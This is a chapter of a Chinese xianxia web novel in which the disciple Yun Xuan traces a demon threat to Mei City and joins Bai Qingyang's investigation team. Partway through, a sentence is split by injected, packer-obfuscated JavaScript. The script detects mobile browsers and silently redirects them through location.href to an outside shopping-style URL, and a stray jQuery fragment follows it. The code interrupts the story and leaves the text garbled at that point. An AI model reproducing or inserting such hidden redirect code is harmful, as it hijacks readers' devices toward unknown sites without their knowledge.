来人是个蓝袍男子,一头长发只束了一半,余下的随意披散着,乃是云岫峰的颜以洵。
颜以洵是苍梧山府山府这一辈正儿八经的大师兄,为人最是温和端方,对待师弟妹也是出了名的宽厚。
云璇幼时识字之初,他还常寻来易懂的诗词抄本送到清莲峰,一字一句地教云璇认。弄得陆璟一度认为颜以洵是在故意挤兑他,也去找了大堆的书籍,拉着云璇看,暗地里和他较劲。
颜以洵当然乐见师弟师妹勤心向学,但云璇就没那么开心了。某天实在受不了了,一口气把两个师兄都赶出屋去。
后来颜以洵被下放到越宁府常驻督查,云璇就很少见到他了。
“守门的师弟说你进来后一直没出去,眼看要闭阁了,拜托我来找你,云师妹看什么入迷了?”
颜以洵见云璇没有答话,好脾气地停在三步之外,并不急着上前,露出个柔和的笑,“三年不见,云师妹已经忘记我了?”
“怎么会忘记颜师兄呢。我这是迷路了才一直没出去的,我记得上次来的时候这些书架不是这样排的呀,此处应该有路才对。”
云璇冲着颜以洵绽开个笑,拢起手上的竹简,两步蹦过去,手指向两人身前塞满卷筒的书架。
“之前建设灵域时,陆师弟和我重新整理了布局,原先这里是上个甲子年间的案卷,如今是上个癸巳年的。”
颜以洵引着云璇去看书架顶部垂落的竹帘,帘面上果然写着“柒之癸巳”。
藏书阁的纪年编号是按照苍梧山府的建宗时间,到今年是捌之丙午。这么说的话,这封竹卷不正好是五十年前的吗。
“颜师兄,你看,这不是个残卷吗,怎么放进内阁了。”云璇摊开手里的案宗递给颜以洵。
颜以洵没有接竹简,而是掂起那块写着“壹”的木牌,揶揄地看向云璇,“云师妹,这篇卷宗的后续你怕是得去伏魔志里看了。”
伏魔志是苍梧山府编纂的用于记载五十年前那场人魔混战的宗籍,详细收录了期间人族遇到过的数百魔族种类,包括习性弱点攻击方式,是修仙界弟子的必读书目,这也是云璇能在灵域里辩认出鸟魔灵魔的原因。
这是由前任清莲上仙一力主张编修,现任清莲上仙落实的。
他认为人族不应忘却此等骨血之痛,即便最终涤清五州,魔族也始终是所有人脖颈上那把悬而未决的剑,潜伏在无涯海的另一边虎视眈眈。
事实也证明他没有错,魔族确实又来了。
“这就是当年魔族登临沧州的第一城,梅城。”
云璇被颜以洵带出藏书阁后,一直在沉思。
为何又是梅城,梅城究竟有什么。魔族难以跨过无涯海,却两次都出现在梅城,这不会是巧合。这次如此高调行事,只会是有人处心积虑的谋划。
那饮川子在灵域里说的那些似是而非的话,要是真当成是他不留神的透露,云璇就成傻子了。
不论背后的人是谁,他这样做只有一个目的,那就是将云璇引起梅城,既然这样,那她就去。
岂会怕他?
云璇冲着清莲峰大殿而去,一进门,众议会早就散了,只看见松月上仙带着个玄衣少年坐在一旁,那人额前系着条编绳的抹额,眉眼低顺的垂着头。
“见过松月师叔。”
清莲上仙见云璇进来,招招手把云璇叫到身侧坐下,“怎么样,身体好些了吗,这次情况特殊,即便没有拿到名次也不要伤心。”
清莲上仙担心之前自己敦促过云璇,她会因为没有拿到名次心里难过,还没等云璇说什么就上赶着宽慰一二。
一旁的松月上仙也跟着帮腔,“不过是仙门大比,魁首被他们万仞剑宗拿去也说明不了什么,可不要太放在心上,左右实力如何日后自有机会证明。”
云璇被两人一唱一和打得头晕眼花的,本来她是没想起来名次这回事,这样一说她就约莫知道了,他们两队的比试提前中断了,自然没有分数,那就也没有名次了。
清莲上仙想着云璇自小就喜欢争个第一第二的,看云璇不说话,以为她真的为此伤神了,便说放她休息一月,本来想着云璇听到这话肯定会开心,谁知道云璇一听反而急了。
“师尊,弟子是想请缨去梅城。颜师兄已经将这几日的事都告诉弟子,我们遇到的那只灵魔就是饮川子。”
“他怎么可能潜伏在人间五十年不被发觉,只可能是有人帮他越过无涯海重入五州,师尊不要被那些无稽之谈蒙蔽了。”
云璇还没说完,松月上仙身旁一直不出声的玄衣少年突然开口打断,“你的意思是,宗门里真有叛徒?”
云璇话说一半被掐断,心里有些不高兴,莫名地看他一眼,这确实是个眼生的少年,年纪和云璇差不多。
“饮川子若在人间界隐姓埋名五十年,实力必定大减,你看他的样子像是吗?若不是有人推波助澜,饮川子也好,我师祖受害之论也罢,怎能凭空出现在灵域。”
“师尊,弟子请去梅城。”
清莲上仙看着云璇那副执着的样子,头又痛起来。
云璇在认定的事情上倔得十头牛拉不回来,听她的话头是非去不可的,原本让她去也无妨,参加过仙门大比的弟子本就该外派历练,孩子想去哪就去哪嘛,可是……
“璇儿,不要胡闹,这事已经派给了你松月师叔的小弟子,白清阳,你不曾见过的,就是这位。”
松月上仙身旁坐着的少年适时对云璇拱手一礼,脸上挂起抹春阳浅笑,嗓音清冽,“小师姐,久仰。”
云璇这才明白他方才为何那么急切的打断自己说话,原来已经派给他了,但那又如何。
“那我可以加入白师弟的协查小队,总不会队员也却确定好了吧。”
清莲上仙捏了捏眉心,她心里当然不愿意云璇第一个任务就去给人作配,倒不是她看不起白清阳,但云璇怎么说也是她的亲传弟子。
正要劝云璇不要执着,这边白清阳却是颇为恭敬地对清莲上仙一礼。
“既然小师姐有心参加,我做师弟的自然不堪领队,就请清莲师姑允了小师姐,也给我这个跟着小师姐历练的机会。”
白清阳这话说得很漂亮,清莲上仙不愿云璇去梅城不过是想让云璇做领队,但又已经把梅城领队许给了白清阳不好收回。
既然他主动让出,正好借坡下驴,也好成全云璇让她高兴高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132511|196228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兴。
清莲上仙满意的抿了口茶,“只是委屈了你。”
松月上仙看这样还有什么不明白的,虽然心里也不乐意,但清莲上仙总管苍梧山府事务,她都率先说定了,怎么好反驳。
“怎么会,清阳这孩子跟着云璇长长见识,磨练一番也好。”
白清阳的脸色比他师尊好上不知多少,看着竟然很是愉悦,“如此,就请小师姐多多关照了”
松月上仙师徒离开后,清莲上仙和云璇同坐一席,牵起她的双手仔细检查了一遍,确定没有大碍了,才抬手撩开她额前的刘海,怜爱的抚了抚脸颊,眼里的心疼几乎快要溢出。
“还疼吗?师尊不该心急的,害你遭这罪。你也是,怎么不多休息几天,等师尊好好给你挑任务。”
云璇顺势倒进清莲上仙怀里,柔软的发丝贴了贴清莲上仙的脸颊,本想答身体都好了,又想起来之前体内火烧火燎的感觉,之前东跑西窜的把这事忘了,如今赶忙问出口。
清莲上仙神色凝重的握住云璇的脉门,释放灵气在她经脉里游走一圈,松出一口气,笑着拍了下云璇的手背。
“心诀者修为高深而得盏,盏内法力充盈则外溢,经脉炙烤难耐,方有涅槃之效。”
“我不是常叫你多看典籍吗,这是你的盏即将突破之兆啊。”
云璇眼睛一下睁大了,目光灼灼的看着清莲上仙,语气兴奋,“真的呀师尊,我要突破了!”
清莲上仙意味深长地勾勾唇角,抬手理顺被云璇动作弄乱的发丝,轻缓开口。
“洛陵元氏一向归顺苍梧山府,你到梅城可直接去元氏,他们家主名为元旻,你有什么要求尽可向他提出。”
“知道了。”
……
一日后,云璇和白清阳带了另外五名内门弟子组成督查小队前往沧州。
云璇急着赶路,但多数内门弟子没有那么丰沛的灵力,不能时刻御剑御器,因此颇有怨言。
“云师姐也太专断了吧,这样压榨我们,就算是到了梅城,我们灵力耗尽还不是让魔族一口吞了。”
“就是,到底是年轻,修为高有什么用,一点也不会办事,还不如我。”
“要是我,就给每人买十匹马换着骑,一样速度快。”
白清阳脾气倒是很好,云璇说怎么做就怎么做,没有二话,偶尔有下面有弟子不满意急行路窃窃私语时,白清阳也会帮着安抚一二。
“诸位勿躁,梅城事态紧急,小师姐自有她的道理。此番前去,是为人族未来,请各位尽全力赶路吧,不要再将力气浪费在口舌之争上。”
“另外,宗门规矩严明,每月皆有擢选,若是领队之才,必不会叫你埋没了。”
白清阳眉眼弯弯,勾起的薄唇吐出的话语却让那群人人摸不清立场意味,隐约还听出几分讥讽。
“小师姐认为呢?”
云璇不知何时悄然走近,几名内门弟子迅速低下头,他们敢在背后编排,却还没胆大到敢当面说。
云璇只是对白清阳摇摇头,轻声开口,“前面有村镇,多买几匹马你们换着骑吧。”
这一路上连骑马带御剑的赶到梅城,已经是三日后。